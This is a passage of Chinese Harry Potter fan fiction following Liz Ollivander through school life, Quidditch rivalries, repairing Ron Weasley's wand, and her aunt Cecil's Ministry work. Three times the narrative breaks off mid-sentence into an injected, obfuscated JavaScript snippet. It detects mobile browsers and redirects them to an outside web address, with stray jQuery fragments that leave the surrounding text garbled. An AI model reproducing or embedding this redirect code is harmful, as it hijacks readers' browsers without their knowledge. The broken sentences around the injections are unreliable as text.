白天在火车上时就有个顶着一头毛躁长卷发的低年级姑娘挨个儿车厢找人,当时莉兹才吃完一块巧克力麦芬,大脑好不容易能正常运转了,却没有在思考有没有见过她的同学,而是在回忆去年女孩来店里时买走了哪一根魔杖。 关上了门,那会儿玛丽埃塔还这样说道:“又是那个‘哈利·波特’?”她特地把他的名字加了重音,“还没开学就又开始惹事了吗?” 不过低年级的学生赶不上火车并不是什么稀奇事情,莉兹实在不觉得这有什么值得夸张的。 晚宴一开始便吃得太急,在她接连吞下一盘羊排还有两块水果挞和一杯南瓜汁以后,被撑满的胃很快发出了警告,她揉了揉肚子做深呼吸,此时旁边的秋才刚刚切开盘子里的鸡腿肉,对面的玛丽埃塔仍在犹豫应该吃些什么。 一个暑假过去不过两个月,所有人都和假期前看着不太一样了,处在发育期的年轻人总是一天一个样,帕特里克留长了那头金棕色的头发,在脑后绑了个辫子,他走过来打招呼时莉兹一打眼都没认出来,戴维斯长高了许多,若是不抬起头,她已经没办法看着他说话了,对于这点莉兹真的想不通,自己吃下去的那么多甜品和牛羊肉为什么没有起到任何作用,整两个月她也就长了半英寸,只有体重是真的飙了不少。 秋入队时还和她差不多,现在已经完全超过了她的个头,连相貌也出落得越来越精致漂亮,她们两个人站在一起都分不清谁才是高年级的学生了。 有时莉兹看着镜子里那张面无表情的娃娃脸,心里是莫名的不满。 幸好托米歇尔的福,开学前一周的高强度训练多少起了点作用,就是不知道这恢复如初的平坦小腹以及上面若隐若现的肌肉线条在霍格沃茨的每日丰盛的餐食滋养下能保持多久。 当然了莉兹到底是个普通女孩,也会想着如果脂肪能够跑去它应该去的地方,比如胸或者屁股,那样应该会很不错,但事实总时不能如愿的,身材稍微丰满些的玛丽埃塔不得不让秋帮忙用魔咒改了校服衬衫的尺寸,否则扣子便会崩开,而莉兹低头又看了看自己,摇摇头撇着嘴套上了打底的白色背心,顺便暗自感慨一句身材真不错啊。 十几岁的年纪就是会蠢蠢欲动,女孩们互相欣赏彼此的变化,又会留意男孩们的成长。 之前天气热的时候在球场训练,他们常常经意或者不经意地扯起衣领去擦汗,伍德作为一个满分门将,虽然身高比不上帕特里克,但是肌肉是最结实的,莉兹偶尔开玩笑似的捶他两下,像碰上了硬板似的。双胞胎们也不算高大,两个人看着差不多,但乔治的肱三头肌确实比他的兄弟要明显一些,至于弗林特那群斯莱特林们的基本都是一身横肉,莉兹知道麻瓜们有一种运动叫橄榄球,她觉得她们很合适。 而女孩们心中的完美先生塞德里克仍未脱离漂亮小帅哥的行列,和壮实一词完全不沾边,凭借从小就在运动员堆里摸爬滚打过的经验,莉兹敢说这就是找球手最合适的身材,他最好不要和他的好朋友木头先生一起增肌,轻盈可是找球手可遇不可求的特质。 前一天学生走丢的闹剧在第二日早晨的一封吼叫信的催化下,再次变成了各个学院茶余饭后消遣的话题,莉兹听着他们七嘴八舌说的内容在犹豫如果韦斯莱先生被传唤调查的话,是不是应该提醒一下平时也在驾驶改装摩托车的塞西尔。 于是她推开面前刚吃完的空盘子,潦草地拿出纸写下这件事,顺便感谢姑姑塞在她行李箱角落的随身听,里面是她们一起看过的那场剧的原声磁带,塞西尔知道她很喜欢听AllIAskOfYou。* 卷好了羊皮纸站起身,她得在上午的黑魔法防御课开始前去猫头鹰棚借只猫头鹰寄出去,而且伍德家那只猫头鹰和她已经建立了很坚实的信任关系,现在哪怕是没有给它带小零食,它也不会再啄人了。 新来的这位黑魔法防御课的教授,吉德罗·洛哈特,还没正式入职时就已经在拉文克劳学院的学生们书单里列上了自己的书,莉兹起初没什么兴趣,不过秋特地推荐了那本《与吸血鬼同船旅行》,她便去书店翻了翻,然而连前言也没能坚持看完。 平时的小书单里都是弗立维教授选的书,一般情况下莉兹都会尽量看完每一本书,除非一些实在读不下去的,去年教授就选了这么一本小说,她原本以为就是个麻瓜作者写的,没想到那其实是个俄国巫师,虽然莉兹知道应该没有巫师干得出在自己写的书里加入咒语的无聊事情,但是她还是怀疑这个人一定这么做了。 不然怎么可能一整年过去,她都没能翻到第八十八页呢。* 学期第一节课,洛哈特没有做惯例的自我介绍,他只是将头昂得高高的,微笑时还露出了一排牙,那头金发抹上了特殊的发油看起来顺滑无比,身上的行头更是花哨得很,仿佛意大利即兴戏剧的演员。 “我想你们一定都非常了解我了吧,在对抗黑魔法这件事上,可没什么人能比我更懂行了。”他说话的声音也像。 装着听课的样子翻开书,莉兹过于专注地盯着洛哈特,整个人一动不动,坐在她旁边的乔治和弗雷德在桌子下面研究新制作的道具,大家各有各忙。 而尚未完成的道具在最后一次试验中阵亡,乔治一边搓了搓手把那些金粉抖掉,一边看了一眼莉兹,她还保持着刚刚的姿势,便开口说道:“小古板女士,你听得真够认真的。” “一百三十七、一百三十八……”她小声地数着数,顺便回答说,“你看,那只浮夸的孔雀的外套上有一百四十一颗珍珠,哦,右手臂上还有两个,一百四十三颗。” 乔治顺着她的视线看过去,洛哈特那五彩斑斓的上衣果真是绣了许多珍珠,窗外的阳光透进来照得人眼晕,他立刻揉了揉眼睛不再看了。 当莉兹统计完外套上所有的羽毛和其他装饰品的数量的时候,午餐的钟声响了起来,对食物的冲动依然没有减退的她瞬间就打起十二分精神,迅速地把桌子上的东西胡乱收拾进挎包,身子转向教室大门,她决心要做第一个冲出门的学生。 “好了,我希望下次上课前你们能将印象最深刻的我的一次冒险记录下来,我很期待看到大家不同的感想。”洛哈特最后一个音节都还没完全说完,莉兹就已经穿过了门框。 她在楼梯最后的拐角处和伍德不小心撞上,他看起来灰头土脸的,刚结束了第一节魔药课,差点因为失误弄错了配比而被扣分,毕竟又一次没能申请到黑魔法防御课教职的斯内普心情真的非常糟糕。 才抱怨了两句课程,木头先生又一如既往地聊起了魁地奇,上学期的惨败对伍德的刺激绝对不容小觑,尽管所有人都知道这样的结局完全是不可抗力造成的,但是这不能阻止他进入那种癫狂的备战模式,莉兹看他拉开背包指着里面那卷厚厚的羊皮纸,压低了声音神秘兮兮地说:“我已经找到了应对一切意外的战术,我相信连你看了也会大吃一惊的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487805|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是吗奥利弗,这是魁地奇之神降临了呀。”莉兹佯装伸手去拿的样子。 下意识抓住了她的手,伍德侧过身子把包背到另一边,低头和她两个人对视,莉兹银白色的眼睛让他紧张了,慌忙松开手,却看到女孩笑了。 “我会期待你让我大吃一惊的。”她说着就顺手替他摆正了歪掉的领带。 开学的第一周常是平淡而无趣,毕竟也不是每天都能在礼堂见到吼叫信,不过洛哈特的课被一群康沃尔郡小精灵搅得天翻地覆这件事算是增添了一点笑料。 不仅如此,弗立维教授在课堂上还被一个二年级学生失控的魔杖意外袭击了,被叫去办公室时她看着教授额头上绿色的鼓包,努力保持着面无表情,内心却已经狂笑不止了。 罪魁祸首的男孩低着头站在边上,这蓬松的红色头发还有面颊的雀斑,莉兹回忆了一下,这就是那个收到吼叫信的韦斯莱家小儿子罗恩。 看向镜子对自己的额头施了一个消除咒语,弗立维教授回过头就把桌上一根用魔法胶带缠起来的魔杖递给莉兹:“我想你应该可以帮帮韦斯莱先生,这样的意外可不能再发生了。” 弯腰双手接过来,她把胶带揭开一点,仔细查看着内芯,过了一会儿抬头回答说:“我尽量试一试,” 他们一起走出了办公室,在走廊的长凳上坐下,莉兹把基本上截断成两半的魔杖放在腿上,问旁边罗恩:“这之前是别人的魔杖吗?” 表情看似冷淡的莉兹让罗恩有些手足无措,第一反应觉得她是个不太好相处的人,他点了点头:“是我哥哥查理的旧魔杖。” “难怪呢,”她轻笑了一声,“所以它在拒绝你,即便是完好的魔杖都有可能失控,何况是现在。” “那……还能救回来吗?”他低下头,“妈妈要是知道了一定会把我大卸八块的。” “恢复如初。”莉兹用了三个修复咒语,勉强让它能保持魔杖的样子。 “哇哦——”罗恩惊呼出声,“太厉害了。” “内芯的独角兽毛断了,所以它很不稳定,”莉兹小心翼翼地挥动了两下,“你先拿着应急,不过最好别用初级以上的咒,魔杖在拒绝你。我得拜托爷爷给我寄点独角兽毛过来,” 她继续说道,“今天来不及了,明天吧,我会帮你把内芯换一下。” “莉兹,谢谢你。”罗恩顾不上这么多,只是很高兴地拿过了魔杖。 两个人于是就约好了周六上午在中庭见一面,去之前莉兹路过了球场,拉文克劳的第一次魁地奇训练是后天下午,帕特里克开队内会议时说伍德提前申请了周六一整日的球场,弗林特说什么也不同意,如果不是他和赫奇帕奇的队长拉着,他们能跳上桌子肉搏一场。 听起来很刺激的样子,她在心里调侃。 正当她决定去围观一下伍德制定的新训练计划的时候,不远处球场边,斯莱特林的队员们一排站开,全部手拿最新款的光轮2001,弗林特身边还站着一个个头不高的陌生面孔,应该是他们队里的新人。而前来对峙的伍德的声音中气十足,他带领着格兰芬多全员,训练场的火药味顿时很是浓烈。 这种情况安静地看戏是最好的,但是莉兹还是在罗恩举起魔杖的同一时间喊出了声:“千万不要……” 来不及了,咒语从尾部发出直接打中施咒人,罗恩的脸色变得铁青,下一秒就呕出了两条大鼻涕虫。 *指歌剧魅影 *这是在说《卡拉马佐夫兄弟》 18. 木料香气 晚餐之后没人使用的训练场办公室,从上学年期末之后便成了莉兹最常去的地方,伍德把自己的钥匙贡献给了她和塞德里克,他们最经常的就是塞德里克从厨房顺点吃的,然后三个人坐着一起吃。 这会儿莉兹正把罗恩那根被一个鼻涕虫诅咒给彻底毁掉的魔杖大卸八块,用刻刀把边缘切得很是整齐,她抽出里面已经烧焦了的独角兽毛,这是个相当细致的活,旧的内芯不能有一点点残留,同时新的独角兽毛也要完整放进去,只要出现一点差错就要从头再来了。 她太投入了,以至于塞德里克和伍德一前一后走进门都没能吸引她的注意力。 把藏在斗篷袖子里的两块香蕉派拿出来,塞德里克拆开外面的牛皮纸,慢慢推到她手边,香甜的气息果然很管用,贪嘴的莉兹放下了手里的活儿抬起头。 “你瞧,我怎么说的来着?”塞德里克笑了笑,回过头看向伍德。 “不行,”她摇了摇头,但是眼睛还是盯着那块香蕉派,“可是我今天真的吃了很多了……该死的,怎么就没有那种让糖分转化成肌肉的魔咒。” “那拿来当加餐的话,我也是很乐意的……”塞德里克佯装伸手的时候,莉兹立马拿起一块咬了一口,打断了他说的话。 “我还以为你晚上要先去训练场呢,”她用拇指擦掉嘴角沾上的奶油,抬眼看向伍德,“白天平白无故被霸占了,你讨到说法了吗?” 伍德刚巧瞥到她的舌尖舔过手指,笨拙地讲目光移开,手拉椅子坐下:“我拿着麦格教授签字的申请书去找了斯内普,混账马库斯给我们告了一笔黑状,格兰芬多被白扣五分。” “这家伙才从麦格教授那儿回来,”塞德里克有点幸灾乐祸,“教授敲了他的头这么说,‘奥利弗你这个木头脑袋,你就应该先来告诉我!’” 站直了身子的塞德里克伸长了脖子,模仿着格兰芬多院长米勒娃·麦格说话的模样。 被调侃的伍德觉得不好意思,他皱着眉头轻轻踢了他一下,转头就转移话题:“哈利想让我问问罗恩的魔杖怎么样了,如果修不好了也没关系。” 莉兹的嘴里塞满了食物一时间没办法回复,不过她选择瞪圆了那双银色的眼睛表示自己的不满,毕竟在她的专业领域质疑她的能力,这位木头先生显然太不会说话了。 塞德里克为自己的好朋友捏了把汗,拿过了伍德怀里写满了魁地奇战术的羊皮纸卷,貌似认真地研究了起来,而伍德本来就不擅长应对她的眼神,现在还被这么直勾勾盯着,他手心都在出汗了,只好是在自己的衣角上蹭了蹭。 “话说回来,斯莱特林的新找球手水平怎么样?”迅速解决了香蕉派的莉兹游刃有余地掌控了话题的节奏,她一边用悬浮咒控制着处理好的独角兽毛,小心翼翼地让它卡在留出的空隙里,一边开口问道,“我想他们要是能找出一个比希格斯还差劲的人也不容易。” “我不清楚,”伍德摇了摇头,“你知道的,我们被从球场赶出去了。”他说着又握紧了拳头,露出咬牙切齿的表情。 “我听说马尔福家的小子出手很阔绰,”塞德里克趴在桌子上朝着他们俩看过来,“吃晚饭的时候马库斯还在炫耀他的光轮2001。” 莉兹把换好内芯的魔杖拿在手里试了两个简单的咒语,透过老旧的木料裂缝还能看到独角兽毛闪着白光,虽然她已经用爷爷寄来的涂料加固了,但是还是得小心使用。 总算是忙完了手上的事情,莉兹不以为意地接话道:“像他那么大的块头根本不适合光轮系列,”她把魔杖递给伍德,“你们的第一场比赛我有个好主意,想办法让他自己把自己从扫帚上甩下去,以弗林特那个蹩脚的飞行水平,这绝不是什么难事。” “真够坏心眼的。”塞德里克在一旁评价。 “迪戈里朋友,我是不介意和你谈一谈我是准备怎么对赫奇帕奇的,做好准备了吗?”莉兹露出一个皮笑肉不笑的表情。 “那还是不用了,十分感谢你。”塞德里克摆了摆手。 “这办法还真的可行!”接过了魔杖就一头扎进自己满满当当的战术计划里,伍德这会儿才猛然抬起头来,“莉兹你果然很厉害。” 轻叹了一口气,莉兹和塞德里克对视之后同时在心里念叨了一句这个魁地奇痴。 和往常一样,这天晚上三个人一直在办公室留到很晚,莉兹后来还给他们俩分享了塞西尔送给她的随身听,一直到费尔奇拖着不太利索的腿脚巡逻到城堡这边的时候,他们只好是躲在柱子后面听着他恶狠狠的警告声,莉兹指了指着地上的石子,塞德里克立马完美地施展了一个变形咒,将它变成了一个弹球,伍德则很有默契地把球一脚踢出去,这动静吸引了费尔奇的注意,三人就趁此刻开溜。 “好歹变点其他的吧,为什么偏偏是弹球啊?”莉兹哭笑不得地问说。 “情况紧急肯定是想到什么变什么呀,”塞德里克到了拐角和他们分开,“祝你们好梦。”说着就顺着台阶走了下去。 “有学生这么晚还没回宿舍,别让我抓到是谁……”而莉兹和伍德刚爬了几步就听见后面传来费尔奇的脚步声。 “你应该再踢远一点儿的。”莉兹拍了一下伍德的肩膀。 “别说话。”伍德一拉她的手躲进阴影处,宽大的斗篷把莉兹整个人都挡住了。 费尔奇手里攥着那个弹球,抱着洛丽丝夫人从两个人背后走过,并没有注意到他们。 淡淡的木料香气包裹着她,伍德第一次这么近地闻到了莉兹身上的味道,原来以前隐约嗅到的就是木料香,还混杂着甜品的香甜气息,他突然有点感谢刚刚折返回头的费尔奇了。 “奥利弗。”她轻声叫他。 仿佛是被抓包似的慌忙应道,伍德低下头见到莉兹抬起仍然被拉着的右手,面无表情地看着自己,赶忙地松开了手后退了半步给她让出了位置。 莉兹小跑着走了几步,又转过头笑着对他说:“晚安。” 伍德站在原地盯着手心久久都没有再走动,而头顶的楼梯变换了位置,他便想起了他们上一次在楼梯口碰上的时候,是她拉住了自己的手——女孩的手真的好小啊。 不紧不慢地赶在宵禁时间前到了宿舍,莉兹刚一推开房间门,帕德玛便提醒她床上有信,晚上才帮她收的。 说了声谢谢以后莉兹便迫不及待地拆开了信封,塞西尔的回信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487806|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比意料中迟了两天,正好借读信还能躲开玛丽埃塔,莉兹真的很不喜欢有人总是对她的日常生活问东问西的。 伊莉莎: 谢谢你的提醒,魔法部并没有在意我的摩托车,我想他们其实是想废除几条滥用麻瓜物品法里的内容,调查韦斯莱先生也只是个借口。 但是不用担心,先前听证会的结果是一边倒,韦斯莱先生人很不错,我可不想他倒霉。 本来应该尽快给你回信的,但我今天刚回伦敦市里,这才看到你给我寄了信。 新学期如何,听说洛哈特是你们黑魔法防御课的教授,或许他看起来很像只花孔雀,但实际上傲罗们监视他好一段时间了,他过去几年的旅伴现在还有两个在圣芒戈住院。 哦,我不能说得太多了,总之万事小心。 P.S信封里还有新的磁带,希望你能喜欢,我最喜欢里面的那首Birthday。* 塞西尔 收好姑姑的信,见宿舍里其他三个人都窝在秋的床上聊天,莉兹便弯腰缩进被子里,她打开随身听放进了磁带,戴上了耳机闭上眼开始欣赏塞西尔推荐的歌。 这头刚从翻倒巷走出来的塞西尔,解开斗篷的纽扣,摘下了碍事的假发,让自己的脸变回了原样,她伸了个懒腰摸了摸有些饿了的肚子走向破釜酒吧,才刚点燃了一根烟就瞥见了角落里坐着的男人,她先是点了盘三明治和一杯威士忌,然后拉开椅子坐下。 “他还是躲在阿尔巴尼亚的森林里,一直没什么动静,”塞西尔缓缓吐出烟,“不过邓布利多的直觉很对,那个人应该正在散播消息,翻最近市面上多了很多这样的东西。” 似乎是对香烟的气味很是敏感,男人皱着眉头又往边上让了让,接过她推过来的像是徽章一样的东西,藏在袖子低头看了看,“有黑魔法的印记。” 店员将三明治和威士忌放在桌边,塞西尔拿起一块,伸出另一只手翻过他的手,指着背面说:“莱姆斯,你看着眼熟吧,这个标志。” “邓布利多让你查的就是这些?”男人抬眼看她,这才看清了他憔悴的眼神。 塞西尔摇摇头说:“那倒没有,我去阿尔巴尼亚是为了追踪两个伤人的吸血鬼,”她拿回徽章在他面前晃了晃,“这个只是意外所得,在南欧很多村庄的年轻人里很流行,所以我刚从博金博克买来一个。” 莱姆斯·卢平应了一声,站起来就准备回去了,又被她叫住:“带走这个吧,让其他人也留意一下,那个人的号召能力我们可是很清楚。” “再见,塞西尔。”卢平将徽章放进上衣内袋,裹上大衣推开了门,他和这个性格乖张还染着一头芥末绿色的短发女人实在不是很对盘。 沉默地继续对付盘子里的三明治,她灌了一大口威士忌下肚,嗓子里火辣辣的。 其实比起伏地魔真的卷土重来,或者说干脆再掀起一次巫师战争,塞西尔最反感的就是这种在不谙世事的年轻人里传播某种主义思想的行为,神秘人可以死,也可以再也无法复活,但若是留下的思想不死,他就会永远存在着。 *乐队是Blur,这里指的是第一张专辑《Leisure》(1991) 19. 安静的梦 时间总算是进入了十月,新的赛季没多久又要开始,降温后刺骨的潮湿寒气降临苏格兰高地,霍格沃茨等来了深秋前的一场长久的降雨,伍德的晨训计划连续两周被雨天破坏,乔治和弗雷德对此表示非常满意,甚至每晚睡前都在祈祷雨不要停下来。 不过晨训取消并不意味着平时的训练也要取消,奥利弗·伍德可不是弗林特那样喜欢偷懒的队长,也不是帕特里克这种温柔的性格,有时候天上还下着小雨他也会将队员们拉去训练场,这导致格兰芬多全队人现在对所有能够防水的魔咒都极其熟悉,很难想象若是今年他们拿不到魁地奇杯,伍德会是什么心情。 “运气真不错。”这日莉兹拿着扫帚抬头看了一眼刚刚放晴的天空,乌云还在远处的山头上,看来一两个小时内都不会再下雨了。 不争不抢的帕特里克在先前的队长会议上拿下了这个时间段的训练场使用权,竟然是最近唯一的一个晴天,他的辫子又长了些,微笑着对莉兹说道:“不是我们运气好,而是天气是可以预测的。” “天文学不是只研究星象吗?”莉兹疑惑地看了他一眼。 “所以我说的叫气象学。”帕特里克回答道,然后转身招呼队员们列队。 梅林啊,人们可能永远都不会知道拉文克劳的学生还会对什么东西感兴趣,比如说莉兹痴迷的数学分析、秋热爱的古代语言、戴维斯擅长的国际象棋,现在还得加上帕特里克喜欢的气象学了。 如往年一样,米歇尔在校队的赛季正式开始前对莉兹进行了邮件轰炸,包括但不仅限于询问她的饮食习惯、体能训练、队伍新成员以及接下来的比赛计划,她叹了一口气看着堆在床上这些还没来得及回复的信,接过了秋刚从庞弗雷夫人那里领的特效感冒药,擦了擦发红的鼻头,仰头一饮而尽。 在宿舍的三个人都也因为感冒而开始打喷嚏的时候,独自□□了一周的莉兹最终还是败下阵来,还成了房间里状态最差的那一个。 玛丽埃塔的妈妈听说女儿着凉了便给她寄来了手织的围巾,看起来很是暖和,而莉兹只能裹紧了去年圣诞节时伍德送给她的发热斗篷,无奈地给米歇尔写回信。 喝下药剂后脑袋晕乎乎的,她又打了两个喷嚏,差点把墨水洒到床单上。 写完最后一封回信时帕德玛已经睡着了,其他两个人也拉下了床帘,宿舍里静悄悄的,只剩莉兹床头仍然亮着一盏灯,本想直接躺下就睡过去,但隔天一大早第一节课就是魔药学,她闭上眼大约花了两分钟去回忆上节课斯内普讲到了哪一章,拿出抽屉里的书翻来一看,发现自己已经提前预习过不止一遍了,她松了一口气,还好只是熬制解毒药剂。 第二天醒来时莉兹依旧发着低烧,她强行让自己和被子分开,否则她一定会一直躺下去再也不起来的,费力睁开眼睛走在走廊上,怀里抱着坩埚,她的每一步都和踩在棉花上似的,拖着沉重的身子到了阴冷的教室,只见斯内普两手交叉在胸前站在黑板边上,正当莉兹准备开口打招呼的时候,教授两个字还没念完她就被诡异的穿堂风惹得打了个寒颤,最后斯了半天愣是没把内普给憋出来。 甚至是鼻子一痒,她差点就要对着斯内普当面就来一个喷嚏,乔治和弗雷德不知什么时候出现在她身后,乔治非常及时地伸手捂住她的嘴,和弗雷德一人一边拉过她的胳膊抬着她就往里走,顺便还说了声教授早上好。 冷冷看了一眼神志不清的莉兹,斯内普不满地敲了敲黑板让他们赶紧坐下。 “哎哟梅林,小古板小姐你这可烧得不轻啊,”乔治松开手在她的巫师袍上擦了擦,又去摸了摸她的额头,“就算少上一节课斯内普也不会少扣分的。” 另一边的弗雷德干脆是把椅子向她这里挪了挪,“来来来,让我们俩给你挡着风。” 被挤在中间动弹不得的莉兹没什么力气打理他俩,只是拍了拍自己的脸颊,把身子坐直沙哑着嗓子有气无力地说:“今天是解毒药剂最后一节课,我情愿半死不活地爬过来,也不愿意之后单独把作业交去他办公室。” “这事情好办,对吧弗雷德。”乔治笑了一声看向兄弟。 “是啊乔治,我们帮你做就行了。”弗雷德说着就去拿她的坩埚。 “那我睡了,我真的睡了。”她缓缓在桌上趴下,在袍子里缩成一团只剩下小小一个,而乔治看准了斯内普的视线死角换了个姿势把莉兹整个挡住。 看了一眼趴倒在桌面的人,弗雷德突然噗嗤笑出来。 “别笑了,”乔治打断了兄弟就要开口说的话,“快去切牛黄。” 好不容易熬到了魔药学课结束,鼻塞的莉兹呼吸不畅,只能呼呼喘着气,斯内普嫌弃地掩着口鼻伸手取了一点她坩埚里的药剂,滴在实验用的莫特拉鼠肚子上,很快就起了效用,他面无表情地缓缓念出:“奥利凡德小姐,过关。” 一排站着的三个人都同时松了一口气。 “幸好你是个拉文克劳。”弗雷德小声说。 “是啊,”莉兹应声,此时墙上的钟跳到了下课的点,斯内普摆了摆手让大家都赶紧滚,于是她拿出魔杖给自己的坩埚施了一个清洁咒语,把课本和羽毛笔丢进里面,对韦斯莱兄弟二人说了声,“那我去找庞弗雷夫人了。”便抱着坩埚摇摇晃晃走向了教室门口。 不过像斯内普一样干脆利落的教授可不多见,快到午餐时间伍德和帕特里克才从楼上的黑魔法防御课教室下楼来,今天穿着一件缝满了发光羽毛的大衣的洛哈特,下半节课一直在讲他两年前在巴西不知什么丛林里的奇遇,反正是熟知天文地理的帕特里克从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487807|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说过的地方,下课铃声响起都不肯立刻放学生离开,非要他们听完结尾才行。 原本莉兹想着在庞弗雷夫人那里借张病床休息一会儿,但她只是给自己量了体温,看着她喝完一瓶药效更强的感冒药之后就催她去吃午饭了。 “哦,可怜的孩子,这没什么问题,你就是鼻塞严重了,”庞弗雷夫人拍了拍她的后颈,“记得回去把围巾围上。” 缩着脖子裹着袍子挪到礼堂门口,莉兹抬眼看见了伍德,而她的耳朵正嗤嗤喷着热气,两边头发还像是拉布拉多的耳朵一样扑闪扑闪,这会儿也不用去拿个镜子了,她很清楚自己的样子有多滑稽。 “阿——阿嚏,”她揉了揉鼻子,“中午好。” “你还好吗,”帕特里克关切地问道,“昨天晚上见你还没这么严重呢,明天训练你就好好休息。” 伍德见帕特里克把话都说了自己好像也没什么其他的可说的了,想先走进去可又犹豫了,再看了一眼状态不佳的莉兹,她没出声地点了好几下头,迈出左脚时忘了右脚,整个身子不受控制地往前栽,伍德立马伸长了手臂扶住她。 抓着他的手站稳,滚烫的手心贴得紧紧的,莉兹快速摇了摇头,试图把大脑里的浆糊都甩出去,然后抬头盯着伍德的眼睛说了一句:“奥利弗,我恨冬天。” 无论何时她这双银白色的眸子只要看向他,伍德就会仿佛被施了“统统石化”,不要说是思考,身体都会下意识变得僵硬,这位反应灵敏从不丢球的格兰芬多守门员,从来接不住她的眼神,于是傻傻站着直到莉兹都已经坐到了拉文克劳的桌子边,伍德才想起要动弹。 难得没有食欲的莉兹吃了两口牛肉就再也咽不下去了,拖人帮忙把给妈妈的信寄出去,下午便勉强去了教室,而课上了一半弗利维教授就让她先回宿舍了,缩在被子里的时候她想有时候也不能不承认平时循规蹈矩不惹事而且成绩又好的魁地奇队员在大多数时候还是有些特权的,若是换了那些小病小痛都嚷嚷着请假的人,教授宁可是看着他们在课上睡觉也不会放他们离开教室的。 那天她睡了很长时间,做了一个安静的梦,梦里天上挂着巨大的月亮,把大地照得宛如白昼一般,她走在一片树林里,触碰过的每一棵树每一片叶子都在诉说着故事,深处有独角兽的影子,洒下的月光落在它们的角上,所有的一切都仿若在吟唱但又寂静得像在沉睡,她最后倚靠在一棵巨树边,逐渐逐渐成了树的一部分。 从前莉兹问老奥利凡德她是否也会制作出自己的魔杖的时候,就曾经做过这个梦,因此她才会惊奇地说着木头在唱歌,而梦境其实也在说着——致莉兹·奥利凡德,虔诚的匠人,你做好准备了吗,这确实会是一段漫长而寂寞的人生。 因为那丛林里只有她,和那些吟唱。 20. 万圣节 万圣节时魔法部偶尔也会弄点很有节日氛围的装饰,塞西尔就在窗玻璃上贴满了骷髅头,顺便把办公室里的笔筒都用变形咒变成了南瓜的样子,年轻的库尔特甚至穿了身戏服来上班,惹得阿莫斯早晨开会时对着那毛茸茸的熊爪子皱着眉头猛摇头。 这两天部门邮件系统又故障了,大部份的文件都要靠人力送,拿着新的报告走出电梯,塞西尔探头看了看,办公室门开着,乌姆里奇这个女人竟然还在那身粉色呢子裙上别了个南瓜胸针,足有人拳头那么大,就在胸上挂着,她的桌前堆着各个部门送来的报告,塞西尔瞥了眼手表时间,她可能是最后一个送到的。 真麻烦,她低声自言自语了一番。 之前因为海格的事情和福吉争辩过两次,所以塞西尔每次去到部长办公室的楼层,部长助理办公室的人都没什么好脸色。 “奥利凡德小姐,你似乎半个小时前就应该将文件送来了,魔法部部长的时间可不是专门留给你们野生动物收容所的。”乌姆里奇拉开椅子站起身,矮胖的身材需要高高昂起头才能和塞西尔对视。 如果现在手边有个粪蛋,塞西尔一定不说二话就塞进她的嘴里给她漱漱口,反正已经够臭了,把报告放在文件最顶上,塞西尔装作礼貌似的点了一下头便转身离去。 走出去两步她又回过头,“哦,多洛雷斯,你的胸针真不错,我也也想和你分享一下我的万圣节装扮。” 话音刚落,塞西尔从大衣口袋里拿出魔杖在自己身子周围画了一个圈,深灰色的呢大衣慢慢变短,艳丽的桃粉色从衣领蔓延到衣摆,衬得她刚染的那头翠绿的短发更是显眼,再低头对着双腿画个弧线,两秒后她便穿得乌姆里奇一模一样了。 只见眼前的人紧握着手里红茶杯,手指颤抖,面色发白,塞西尔又微笑着转了个圈,“你看怎么样,我觉得非常漂亮。” “部长还在等着你们的文件。”乌姆里奇咬牙切齿地捧起桌上的文件,撞开两手叉腰摆着姿势的塞西尔走进部长办公室。 耸了耸肩又笑了两声,塞西尔对着窗玻璃欣赏了一下自己这身装扮,然后大摇大摆出去了。 “上午好,金斯莱。”她走进电梯和里面的人打招呼。 “你好,”金斯莱打量了一下塞西尔这身衣服,哭笑不得地评价了一句,“好品味。” “万圣节的一些仪式感。”塞西尔挑了一下眉头,回头便注意到了谁的视线。 “嘿,我喜欢你的头发。”角落里的站在金斯莱身旁的年轻姑娘开了口,“我是唐克斯。” “谢谢,我也喜欢你的,我叫塞西尔,”塞西尔看了眼金斯莱,“又到新人实习的时候了?” “今年就这一个,”金斯莱介绍道,“不知道能不能过阿拉斯托那一关。” 那姑娘头发颜色是红红火火,眼神也发亮,塞西尔拍了一下金斯莱的肩膀:“我看她挺不错的,比以前来的两个好多了。” “但愿如此,”金斯莱回话时正好电梯停下,“那祝你有愉快的一天。” “你也一样。”塞西尔按下四层,倚着墙了打了个呵欠。 这晚伦敦大街上也到处都是万圣节的装饰,阿莫斯把办公室下班的时间提早了三十分钟,说和妻子约定了吃晚餐,年纪最小的库尔特兴冲冲地去参加派对了,余下的其他人也都有去处。 